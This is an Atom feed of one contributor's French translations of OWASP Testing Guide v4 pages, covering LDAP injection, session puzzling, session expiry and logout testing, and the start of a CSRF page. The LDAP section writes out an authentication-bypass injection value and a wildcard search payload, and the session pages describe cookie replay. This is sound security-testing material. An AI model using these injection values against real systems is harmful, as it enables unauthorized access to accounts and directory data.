<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jcpraud</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jcpraud"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Jcpraud"/>
		<updated>2026-05-06T10:09:26Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.6_Tester_les_injections_LDAP_(OTG-INPVAL-006)&amp;diff=224652</id>
		<title>4.8.6 Tester les injections LDAP (OTG-INPVAL-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.6_Tester_les_injections_LDAP_(OTG-INPVAL-006)&amp;diff=224652"/>
				<updated>2017-01-03T10:04:05Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Fixed some typos&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
==  Sommaire ==&lt;br /&gt;
LDAP (Lightweight Directory Access Protocol) est utilisé pour stocker des informations sur les utilisateurs, hôtes, et bien d'autres objets. Une injection LDAP ([[LDAP injection]]) est une attaque côté serveur qui permet que des informations sensibles à propos des utilisateurs et des hôtes représentées dans une structure LDAP soient divulguées, modifiées ou ajoutées. Cela se fait en manipulant des paramètres d'entrée passés ensuite à des fonctions internes de recherche, ajout et modification.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une application web peut utiliser LDAP pour permettre à ses utilisateurs de s'authentifier ou de rechercher des informations sur d'autres utilisateurs, tout ceci à l'intérieur d'une entreprise. Le but des attaques par injection LDAP est d'injecter des metacaractères de filtres de recherches dans une requête qui sera exécutée par l'application.&lt;br /&gt;
&lt;br /&gt;
La [[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]] définie une grammaire permettant de construire des filtres de recherches sur LDAPv3. Elle étend la [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un filtre de recherche LDAP est construit en notation polonaise, aussi connue sous le nom [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela signifie que le pseudo code d'une condition sur un filtre de recherche ressemblera à ceci :&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;cn=John &amp;amp; userPassword=mypass&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
et sera représenté :&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;(&amp;amp;(cn=John)(userPassword=mypass))&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les conditions booléennes et les agrégats de groupes sur un filtre de recherche LDAP peuvent être effectués en utilisant les méta-caractères :&lt;br /&gt;
{| border=1&lt;br /&gt;
|| '''Metacaractère''' || '''Signification'''&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;amp; || ET boolean &lt;br /&gt;
|-&lt;br /&gt;
||   | || OU boolean&lt;br /&gt;
|-&lt;br /&gt;
||  ! || NON boolean&lt;br /&gt;
|-&lt;br /&gt;
||   = || Egal&lt;br /&gt;
|-&lt;br /&gt;
||   ~= || Approximation&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;gt;= || Plus grand que&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;lt;= || Plus petit que&lt;br /&gt;
|-&lt;br /&gt;
||   *  || caractère quelconque&lt;br /&gt;
|-&lt;br /&gt;
||   () || parenthèses groupantes&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les RFC concernées contiennent des exemples plus complets de filtres de recherches&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une exploitation réussie d'une vulnérabilité d'injection LDAP va permettre au testeur de :&lt;br /&gt;
&lt;br /&gt;
* Accéder à du contenu non autorisé&lt;br /&gt;
* Contourner les restrictions de l'application&lt;br /&gt;
* Récolter des information non autorisées&lt;br /&gt;
* Ajouter ou modifier des objets dans l'arborescence LDAP&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Exemple 1: Filtres de recherche ===&lt;br /&gt;
&lt;br /&gt;
Supposons une application web utilisant un filtre de recherche comme celui-ci :&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=&amp;quot;+user+&amp;quot;)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
qui est instancié par une requête HTTP telle que :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=John&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si la valeur 'John' est remplacée par '*', dans la requête :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
le filtre va ressembler à :&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=*)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
qui va sélectionner tous les objets, quelque soit la valeur de leur attribut 'cn'.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si l'application est vulnérable aux injections LDAP, les attributs de quelques utilisateurs, ou de tous, seront affichés, selon le flux d'exécution de l'application et les permissions de l'utilisateur LDAP connecté.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un testeur pourra utiliser une approche pas à pas, en insérant dans les paramètres '(', '|', '&amp;amp;', '*' et d'autres caractères, afin de causer des erreurs dans l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Exemple 2: Authentification ===&lt;br /&gt;
&lt;br /&gt;
Si une application utilise LDAP dans son processus d'authentification des utilisateurs, et qu'elle est vulnérable aux injections LDAP, il est possible de contourner cette authentification en injectant une requête LDAP qui sera toujours vraie (de manière similaire aux injections SQL et XPATH).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suposons qu'une application web utilise un filtre pour faire la correspondance utilisateur LDAP / mot de passe.&lt;br /&gt;
&lt;br /&gt;
searchlogin= &amp;quot;(&amp;amp;(uid=&amp;quot;+user+&amp;quot;)(userPassword={MD5}&amp;quot;+base64(pack(&amp;quot;H*&amp;quot;,md5(pass)))+&amp;quot;))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En utilisant les valeurs suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;user=*)(uid=*))(|(uid=*&lt;br /&gt;
 pass=password&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
le filtre de recherche devient :&lt;br /&gt;
&lt;br /&gt;
 searchlogin=&amp;quot;(&amp;amp;(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
qui est correct et toujours vrai. De cette manière, le testeur va obtenir un statut authentifié, avec les droits du premier utilisateur de l'arborescence LDAP.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
Softerra LDAP Browser - http://www.ldapadministrator.com/&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sacha Faust: &amp;quot;LDAP Injection: Are Your Applications Vulnerable?&amp;quot; - http://www.networkdls.com/articles/ldapinjection.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
Bruce Greenblatt: &amp;quot;LDAP Overview&amp;quot; - http://www.directory-applications.com/ldap3_files/frame.htm&amp;lt;br&amp;gt;&lt;br /&gt;
IBM paper: &amp;quot;Understanding LDAP&amp;quot; - http://www.redbooks.ibm.com/redbooks/SG244986.html &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;RFC 1960&amp;lt;/nowiki&amp;gt;: &amp;quot;A String Representation of LDAP Search Filters&amp;quot; - http://www.ietf.org/rfc/rfc1960.txt&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.7.8_Tester_la_confusion_de_session_(OTG-SESS-008)&amp;diff=197009</id>
		<title>4.7.8 Tester la confusion de session (OTG-SESS-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.7.8_Tester_la_confusion_de_session_(OTG-SESS-008)&amp;diff=197009"/>
				<updated>2015-07-05T15:24:42Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Corrections&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
&lt;br /&gt;
La surcharge de variable de session (aussi connue sous le nom de confusion de session) est une vulnérabilité au niveau application qui permet à un attaquant de commettre une variété d'actions malicieuses, entre autres, telles que :&lt;br /&gt;
* Contourner des mécanismes d'authentification efficaces, et usurper l'identification d'utilisateurs légitimes.&lt;br /&gt;
* Elever les privilèges du compte d'un utilisateur malicieux, dans un environnement considéré par ailleurs comme sûr.&lt;br /&gt;
* Eviter les phases de qualification dans des processus multi-phase, même si le processus inclut toutes les restrictions usuelles recommandées au niveau code.&lt;br /&gt;
* Manipuler des caleurs côté serveur par des méthodes indirectes qui ne peuvent être ni prévues ni détectées.&lt;br /&gt;
* Exécuter des attaques standard à des endroits précédemment inaccessibles, ou même considérés comme sécurisés.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette vulnérabilité se manifeste quand une application utilise la même variable de session pour plus d'un usage. Un attaquant peut potentiellement accéder à des pages dans un ordre imprévu par les développeurs, entraînant une variable de session, initialisée dans un contexte, à être utilisée dans un autre.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Par exemple, un attaquant peut utiliser la surchage de variable de session pour contourner les mécanismes forçant l'authentification d'applications qui imposent l'authentification en validant l'existence de variables de session contenant des valeurs liées à l'identité, et qui sont normalement stockées dans la session après une authentification réussie. Cela signifie qu'un attaquant accède d'abord à une partie de l'application qui initialise le contexte de session, puis accède une partie privilégiée qui examine ce contexte.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Par exemple, un vecteur d'attaque de contournement d'authentification peut être exécuté en accédant à un point d'entrée public (par exemple, la page de récupération de mot de passe) qui génère des sessions avec une variable de session identique basée sur des valeurs fixes ou sur une entrée utilisateur. &lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
=== Test en boite noire ===&lt;br /&gt;
&lt;br /&gt;
Cette vulnérabilité peut être détectée et exploitée en énumérant toutes les variables de session utilisées par l'application et, dans quel contexte, elles sont valides. En particulier, c'est possible en accédant à une séquence de points d'entrée et en examinant les points de sortie. Dans un test en boite noire, cette procédure est difficile et requiert un peu de chance car chaque séquence peut aboutir à un résultat différent.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Exemples====&lt;br /&gt;
&lt;br /&gt;
Un exemple très simple pourrait être la réinitialisation de mot de passe qui, en point d'entrée, peut demander à l'utilisateur de fournir une information l'identifiant comme son nom d'utilisateur ou son adresse de messagerie. Cette page peut alors générer la session avec ces valeurs d'identification, reçues directement du client, ou être obtenues par des requêtes ou des calculs basés sur l'entrée reçue. A ce stade, il peut y avoir certaines pages dans l'application qui afficheront des données privées basées sur cet objet de session. De la même manière, l'attaquant pourrait contourner le processus d'authentification.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Test en boite grise ===&lt;br /&gt;
&lt;br /&gt;
Le moyen le plus efficace pour détecter ces vulnérabilités est de faire une revue de code.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Session Puzzles: http://puzzlemall.googlecode.com/files/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf&lt;br /&gt;
* Session Puzzling and Session Race Conditions: http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Contre-mesures==&lt;br /&gt;
&lt;br /&gt;
Une variable de session ne devrait être utilisée que pour un seul usage cohérent.&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.7.7_Tester_l%27expiration_de_session_(OTG-SESS-007)&amp;diff=197008</id>
		<title>4.7.7 Tester l'expiration de session (OTG-SESS-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.7.7_Tester_l%27expiration_de_session_(OTG-SESS-007)&amp;diff=197008"/>
				<updated>2015-07-05T15:15:57Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Corrections&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
Dans cette phase, les testeurs vont vérifier que l'application déconnecte automatiquement une utilisateur qui a été inactif depuis un certain temps, garantissant ainsi qu'il n'est pas possible de &amp;quot;réutiliser&amp;quot; la même session, et qu'aucune donnée sensible ne reste stockée dans le cache du navigateur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Toutes les applications devraient implémenter une limite d'inactivité sur les sessions. Cette limite définit le délai pendant lequel une session restera active alors qu'il n'y a pas d'activité de l'utilisateur, et la session sera fermée et invalidée passé ce délai d'inactivité après la dernière requête HTTP reçue par l’application web pour une session donnée. La limite la plus appropriée doit être un compromis entre la sécurité (limite plus courte) et le confort d'utilisation (limite plus longue), et dépend fortement du niveau de sensibilité des données manipulées par l'application. Par exemple, une limite de 60 minutes peut être acceptable pour un forum public, mais pas pour une application bancaire (dans ce cas, un maximum de 15 minutes est recommandé). Dans tous les cas, une application qui ne force pas de déconnexion en cas d'inactivité doit être considérée comme non sécurisée, sauf si un tel comportement est spécifiquement requis fonctionnellement.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'expiration de session limite les chances qu'un attaquant puisse deviner et utiliser un identifiant de session appartenant à un autre utilisateur, et dans certaines circonstances, peut protéger les ordinateurs publics contre la réutilisation de session. Cependant, si l'attaquant peut détourner une session donnée, le délai d'expiration ne pourra rien pour limiter ses actions, puisqu'il peut générer périodiquement de l'activité sur la session afin de la garder active plus longtemps.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La gestion des expirations de sessions doit être fait côté serveur. si certaines données contrôlées par le client sont utilisées pour imposer l'expiration de session, par exemple les valeurs de cookie ou autres paramètres client pour mesurer des références temporelles (par exemple, le nombre de minutes depuis la connexion), un attaquant pourrait manipuler ces données pour étendre la durée d'une session. L'application doit donc suivre la durée d'inactivité côté serveur et, une fois la limite atteinte, invalider automatiquement la session courante de l'utilisateur puis supprimer toutes les données stockées côté client.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ces deux actions doivent être implémentées avec précaution, afin de d'éviter d'introduire des faiblesses qui pourraient être exploitée par un attaquant pour obtenir un accès si l'utilisateur oublie de se déconnecter de l'application. Plus précisément, comme pour la fonction de déconnexion, il est important de s'assurer que tous les jetons de session (par exemple les cookies) sont correctement détruits ou rendus inutilisables, et que des contrôles corrects sont appliqués côté serveur pour empêcher leur réutilisation. Si de telles actions ne sont pas appliquées correctement, un attaquant pourrait rejouer ces jetons de session afin de &amp;quot;ressuciter&amp;quot; la session d'un utilisateur légitime et usurper son identité (cette attaque est communément nommée 'cookie replay' : rejeu de cookie). Le fait que l'attaquant doit être capable d'accéder à ces jetons de session (stockés sur le PC de la victime) est bien sûr un facteur atténuant, mais dans certains cas, cela n'a rien de particulièrement difficile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le scénario le plus courrant pour ce genre d'attaques est l'utilisation d'un ordinateur public pour accéder à des informations privées (par exemple : webmail, compte bancaire en ligne). Si l'utilisateur laisse l'ordinateur sans se déconnecter explicitement, et qu'aucune expiration de session n'est implémentée par l'application, alors un attaquant peut accéder au même compte en simplement appuyant sur le bouton &amp;quot;retour&amp;quot; du navigateur.&lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
&lt;br /&gt;
=== Test en boite noire ===&lt;br /&gt;
La même approche que dans la section [[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]] peut être utilisée pour mesurer les déconnexions par expiration de délai.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La méthodologie de test est très similaire. D'abord le testeur doit vérifier qu'un délai d'expiration existe, par exemple en se connectant et en attendant que la déconnexion automatique soit déclenchée. Comme pour la fonction de déconnexion, après expiration du délai, tous les jetons de session doivent être détruits ou rendus inutilisables.&lt;br /&gt;
&lt;br /&gt;
Ensuite, si un délai d'expiration est configuré, le testeur doit comprendre si il est imposé par le client ou par le serveur (ou par les deux). Si le cookie de session est non-persistant (ou , plus généralement, si le cookie de session ne contient pas de données temporelles), le testeur peut considérer que l'expiration du délai est imposée par le serveur. Si le cookie de session contient des données liées au temps (par exemple heure de connexion, date d'expiration d'un cookie persistant), alors il est possible que le client soit impliqué dans la gestion de l'expiration du délai. Dans ce cas, le testeur peut essayer de modifier le cookie (s'il n'est pas protégé cryptographiquement) et voir ce qui arrive à la session. Par exemple, le testeur peut configurer une date d'expiration éloignée dans le futur et regarder si la session a pu être prolongée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En règle générale, tout devrait être vérifié côté serveur, et il ne devrait pas être possible d'accéder à nouveau à l'application en restaurant les anciennes valeurs de cookies de session.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test en boite grise ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le testeur doit vérifier que :&lt;br /&gt;
* La fonction de déconnexion détruit tous les jetons de session, ou au moins les rend inutilisables.&lt;br /&gt;
* Le serveur vérifie correctement l'état des sessions, empêchant un attaquant de rejouer des identifiants de sessions détruits.&lt;br /&gt;
* un délai d'expiration est imposé correctement par le serveur. Si le serveur utilise un délai d'expiration qui est lu depuis un jeton de session envoyé par le client (ce qui n'est pas conseillé), alors ce jeton doit être cryptographiquement protégé contre les manipulations.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A noter que le plus important pour l'application est d'invalider les session côté serveur. Généralement cela signifie que le code doit invoquer les méthodes appropriées, par exemple HttpSession.invalidate() en Java et Session.abandon() en .NET. Supprimer les cookies du navigateur est conseillé, mais pas strictement nécessaire; puisque si la session est conrrectement invalidée sur le serveur, la possession des cookies n'aidera pas l'attaquant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[Session Management Cheat Sheet]] : aide-mémoire sur la gestion de session&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.7.6_Tester_les_fonctionnalit%C3%A9s_de_d%C3%A9connexion_(OTG-SESS-006)&amp;diff=187972</id>
		<title>4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.7.6_Tester_les_fonctionnalit%C3%A9s_de_d%C3%A9connexion_(OTG-SESS-006)&amp;diff=187972"/>
				<updated>2015-01-13T14:27:03Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
La fin d'une session est une partie importante du cycle de vie d'une session. Réduire au minimum la durée de vie des jetons de session réduit les chances de réussite d'une attaque de détournement de session. Cela peut être vu comme un contrôle visant à prévenir les attaques Cross Site Scripting et Cross Site Request Forgery. De telles attaques sont en effet connues pour reposer sur l'existence d'une session authentifiée. Ne pas avoir de mécanisme de fin de session sécurisé ne fait qu'accroître la surface d'attaque.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fin de session sécurisée nécessite au moins les éléments suivants :&lt;br /&gt;
&lt;br /&gt;
* Existence d'une interface utilisateur permettant explicitement de se déconnecter.&lt;br /&gt;
* Fin de session automatique après un certain temps d'inactivité (session timeout).&lt;br /&gt;
* Désactivation effective de la session côté serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
De multiples problèmes peuvent empêcher une fin efficace d'une session. Dans une application web idéalement sécurisée, un utilisateur devrait pouvoir terminer sa session à n'importe quel moment, via l'interface utilisateur. Chaque page devrait inclure un bouton de déconnexion, directement visible. Des fonctions de déconnexion ambiguës ou manquant de clarté peuvent entraîner un manque de confiance de l'utilisateur dans leur efficacité.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une autre erreur commune dans les fins de session est renouveler jeton de session côté client alors que l'état côté serveur demeure actif et peut être réutilisé en redonnant son ancienne valeur au cookie de session. Parfois, aucune action n'est effectuée à part l'envoi d'un message de confirmation à l'utilisateur. Cela doit être évité.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Certains environnements d'application web reposent seulement sur le cookie de session pour identifier un utilisateur connecté. L'identifiant d'utilisateur est inclus dans la valeur (chiffrée) du cookie. Le serveur d'application ne fait aucun suivi de la session côté serveur. Lors de la déconnexion, le cookie est supprimé du navigateur. Cependant, comme l'application ne fait aucun suivi, elle ne sait pas si la session est déconnectée ou pas. Ainsi, en réutilisant le cookie il est possible d'accéder à la session authentifiée. La fonctionnalité Forms Authentication (authentification par formulaire) d'ASP.NET en est un exemple bien connu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il arrive que les utilisateurs de navigateurs web ne se soucient pas qu'une application reste ouverte ou pas et ferment simplement le navigateur ou un onglet. Une application web devrait prendre en compte ce comportement et terminer la session automatiquement côté serveur après un délai déterminé.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'utilisation d'un système d'authentification unique (single sign-on SSO) à la place d'une authentification par l'application entraîne souvent l'existence de plusieurs sessions qui doivent être terminées séparément. Par exemple, la fin d'une session applicative ne termine pas la session dans le système SSO. En naviguant à nouveau sur le portail SSO, l'utilisateur a la possibilité de se reconnecter sur l'application d'où il s'était déconnecté précédemment. D'autre part, la fonction de déconnexion du système SSO n'entraîne pas forcément la fin des sessions sur les applications connectées.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
'''Tester l'interface utilisateur de déconnexion :'''&amp;lt;br&amp;gt;&lt;br /&gt;
Vérifier l'apparence et la visibilité de la fonctionnalité de déconnexion dans l'interface utilisateur. Pour cela, il faut regarder chaque page avec le point de vue d'un utilisateur qui a l'intention de se déconnecter de l'application web.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Résultat attendu :'''&amp;lt;br&amp;gt;&lt;br /&gt;
Une bonne interface de déconnexion a certaines propriétés :&lt;br /&gt;
* Un bouton de déconnexion doit être présent sur toutes les pages de l'application.&lt;br /&gt;
* Le bouton de déconnexion doit être rapidement reconnaissable par l'utilisateur voulant se déconnecter de l'application web.&lt;br /&gt;
* Après le chargement de la page, le bouton de déconnexion doit être visible sans avoir à faire défiler le contenu.&lt;br /&gt;
* Idéalement, le bouton de déconnexion sera placé dans une zone fixe de la page, qui ne doit pas être modifiée par le défilement du contenu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tester les fins de session côté serveur :'''&amp;lt;br&amp;gt;&lt;br /&gt;
D'abord, stocker toutes les valeurs de cookies servant à identifier une session. Appeler la fonction de déconnexion et observer le comportement de l'application, et, en particulier, les cookies de session. Essayer de naviguer sur une page qui n'est visible qu'avec une session authentifiée, par exemple avec le bouton retour du navigateur. Si c'est la version en cache de la page qui est affichée, utiliser le bouton de rafraîchissement pour recharger la page depuis le serveur. Si la fonction de déconnexion renouvelle les cookies de session, restaurer les anciennes valeurs des cookies de session et recharger une page d'une zone authentifiée de l'application. Si ces tests ne montrent pas de vulnérabilités sur une page particulière, il faut tester au moins quelques autres pages considérées comme critiques, pour s'assurer que la fin de session s'effectue correctement dans ces parties de l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Résultat attendu :'''&amp;lt;br&amp;gt;&lt;br /&gt;
Aucune donnée limitée aux utilisateurs authentifiés ne devrait être visible sur les pages examinées pendant les tests. Idéalement, lorsque l'on accède à une partie authentifiée après la fin de la session,  l'application doit rediriger vers une partie publique ou une page de connexion. Cela ne devrait pas être nécessaire à la sécurisation de l'application, mais changer les valeurs des cookies de session après déconnexion est généralement considéré comme une bonne pratique.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tester les délais d'expiration de session :'''&amp;lt;br&amp;gt;&lt;br /&gt;
Essayer de déterminer le délai d'expiration d'une session en accédant à la zone authentifiée de l'application web à des intervalles de temps croissants. La durée de vie de la session correspond approximativement au délai constaté au moment de la déconnexion.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Résultat attendu:'''&amp;lt;br&amp;gt;&lt;br /&gt;
Les mêmes résultats que pour les tests de fin de session côté serveur, décrits plus haut, sont attendus après une déconnexion due à une inactivité.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le délai d'expiration d'une session dépend de l'usage de l'application et doit être un compromis entre sécurité et facilité d'utilisation. Dans une application bancaire, cela n'a pas de sens de garder une session inactive plus de 15 minutes. Par contre, une durée trop courte sur un wiki ou un forum risque d'importuner les utilisateurs qui saisissent des articles longs avec des demandes de reconnexion inutiles. Dans ce cas, une durée d'une heure ou plus peut être acceptable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tester les fins de session en environnement d'authentification unique SSO (single sign-off) :'''&amp;lt;br&amp;gt;&lt;br /&gt;
D'abord, se déconnecter de l'application. Vérifier ensuite si le portail central ou l'annuaire d'application permet à l'utilisateur de se reconnecter à l'application sans authentification. Tester si l'application demande à l'utilisateur de s'authentifier lorsqu'il accéde à une URL d'entrée de l'application. Une fois connecté à l'application, il faut se déconnecter du système SSO, puis essayer d'accéder à des parties authentifiées de l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Résultat attendu :'''&amp;lt;br&amp;gt;&lt;br /&gt;
Une déconnexion de l'application connectée à un système SSO ou une déconnexion du système SSO doit entraîner la fin de toutes les sessions. Une nouvelle authentification doit être demandée pour accéder à l'application après déconnexion du SSO et de l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
* &amp;quot;Burp Suite - Repeater&amp;quot; - http://portswigger.net/burp/repeater.html&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* &amp;quot;La méthode FormsAuthentication.SignOut ne protège pas des attaques par rejeu de cookies dans les applications ASP.NET&amp;quot; - http://support.microsoft.com/default.aspx?scid=kb;en-us;900111&lt;br /&gt;
* &amp;quot;Attaques par rejeu de cookies dans ASP.NET en utilisant les formulaires d'authentification&amp;quot; - https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.7.5_Tester_les_CSRF_(OTG-SESS-005)&amp;diff=187967</id>
		<title>4.7.5 Tester les CSRF (OTG-SESS-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.7.5_Tester_les_CSRF_(OTG-SESS-005)&amp;diff=187967"/>
				<updated>2015-01-13T13:55:37Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
==Sommaire==&lt;br /&gt;
&lt;br /&gt;
Les Cross Site Request Forgeries [[CSRF]] sont des attaques qui forcent les utilisateurs à exécuter des actions non désirées dans une application sur laquelle ils sont actuellement authentifiés. Avec un peu d'ingénierie sociale, par exemple en envoyant un lien par courriel ou messagerie instantanée, un attaquant peut forcer les utilisateurs d'une application web à exécuter les actions qu'il veut. Si un utilisateur normal est visé, une attaque CSRF réussie va compromettre ses données et ses traitements. Si un compte administrateur est visé, c'est l'ensemble de l'application web qui peut être compromise.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les CSRF utilisent les éléments suivants :&lt;br /&gt;
&lt;br /&gt;
1) Le mode de traitement, par le navigateur, des informations liées aux sessions, comme que les cookies et authentifications HTTP ; &amp;lt;br&amp;gt;&lt;br /&gt;
2) La connaissance par l'attaquant d'URLs valides de l'application web ;&amp;lt;br&amp;gt;&lt;br /&gt;
3) Le management de sessions applicatives reposant uniquement sur des informations connues du navigateur ; &amp;lt;br&amp;gt;&lt;br /&gt;
